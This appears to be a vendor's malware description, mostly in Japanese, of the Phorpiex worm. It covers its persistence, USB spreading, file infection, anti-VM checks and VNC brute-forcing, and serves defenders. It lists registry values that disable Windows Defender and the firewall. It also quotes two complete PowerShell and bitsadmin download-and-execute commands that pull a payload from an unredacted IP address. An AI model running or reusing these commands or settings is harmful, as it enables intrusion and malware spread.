Virus.Win32.PHORPIEX.AA

ウイルスは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

ウイルスは、上記ファイルにコードを挿入し、特定のファイル形式に感染します。

ウイルスは、仮想環境内で実行されると、自身の活動を終了します。

侵入方法

ウイルスは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

ウイルスは、感染したコンピュータ内に以下のように自身のコピーを作成します。

• {Drive}:\__\DriveMgr.exe
• %Windows%\{Random numbers}\svchost.exe

(註：%Windows%フォルダは、Windowsが利用するフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows" です。.)

ウイルスは、以下のファイルを作成します。

• {Drive}:\autorun.inf (Used as persistence for dropped copy in the removable drive)
• {Drive}:\.lnk (Executes dropped copy in the removable drive)
• %Application Data%\winsvcs.txt

(註：%Application Data%フォルダは、現在ログオンしているユーザのアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Roaming" です。)

自動実行方法

ウイルスは、自身のコピーがWindows起動時に自動実行されるよう以下のレジストリ値を追加します。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run
Microsoft Service Driver = %Windows%\{Random numbers}\svchost.exe

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
Microsoft Service Driver = %Windows%\{Random numbers}\svchost.exe

他のシステム変更

ウイルスは、以下のファイルを削除します。

• {Malware file path and name}:Zone.Identifier
• Files in removable drives with the following extensions:
  • .lnk
  • .vbs
  • .bat
  • .js
  • .scr
  • .com
  • .jse
  • .cmd
  • .pif
  • .jar
  • .dll
  • .vbe
  • .inf

ファイル感染

ウイルスは、上記のファイルにコードを挿入し、以下の拡張子を持つファイルに感染します。

• .exe files in removable and remote drives, excluding files related to itself

ダウンロード活動

ウイルスは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

• http://{BLOCKED}.{BLOCKED}.16.27/
• http://{BLOCKED}x.top/
• http://{BLOCKED}x.ws/
• http://{BLOCKED}aegeahrh.[ru|su|to|top]/
• http://{BLOCKED}idjidghh.[ru|su|to|top]/
• http://{BLOCKED}oufuhfhu.[ru|su|to|top]/
• http://{BLOCKED}efoahfoh.[ru|su|to|top]/
• http://{BLOCKED}dhafiehf.[ru|su|to|top]/
• http://{BLOCKED}uhuedhhf.[ru|su|to|top]/
• http://{BLOCKED}fahefheh.[ru|su|to|top]/
• http://{BLOCKED}jegohgut.[ru|su|to|top]/
• http://{BLOCKED}finefing.[ru|su|to|top]/
• http://{BLOCKED}ehgaefgz.[ru|su|to|top]/
• http://{BLOCKED}efiefnin.[ru|su|to|top]/
• http://{BLOCKED}ehagugeh.[ru|su|to|top]/
• http://{BLOCKED}ejfoefok.[ru|su|to|top]/
• http://{BLOCKED}hefihfhg.[ru|su|to|top]/
• http://{BLOCKED}huheufhg.[ru|su|to|top]/
• http://{BLOCKED}ihfihegi.[ru|su|to|top]/
• http://{BLOCKED}egfuaehh.[ru|su|to|top]/
• http://{BLOCKED}fueugeug.[ru|su|to|top]/
• http://{BLOCKED}ididhiei.[ru|su|to|top]/
• http://{BLOCKED}rizrizzf.[ru|su|to|top]/

ウイルスは、以下のファイル名でダウンロードしたファイルを保存します。

• %User Temp%\{Random numbers}.exe

(註：%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。)

その他

ウイルスは、仮想環境内で実行されると、自身の活動を終了します。

ウイルスは、以下を実行します。

• It sets the following registry entries to bypass security measures:
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
    • {Malware file path and name}=%Windows%\{Random numbers}\svchost.exe:*:Microsoft Service Driver
  • HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender
    • DisableAntiSpyware=1
  • HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
    • DisableBehaviorMonitoring=1
    • DisableOnAccessProtection=1
    • DisableScanOnRealtimeEnable=1
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center and HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Svc
    • AntiVirusOverride=1
    • UpdatesOverride=1
    • FirewallOverride=1
    • AntiVirusDisableNotify=1
    • UpdatesDisableNotify=1
    • AutoUpdateDisableNotify=1
    • FirewallDisableNotify=1
• It attacks the network through sending the following commands in vulnerable VNC servers:
  • "cmd.exe /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://88.218.16.27/{Counter}','%temp%\50399340.exe');Start-Process '%temp%\50399340.exe'"
  • "cmd.exe /c bitsadmin /transfer hello /download /priority high http://88.218.16.27/{Counter} %temp%\69302084.exe&start %temp%\69302084.exe"
• It attacks the network by brute-forcing vulnerable VNC servers queried through randomizing IP addresses and excluding addresses starting with 127, 172, and 192.
• It infects files and marks them with a .zero section name.

マルウェアは、自身がデバッグされていることを確認した場合、不正活動を実行しません。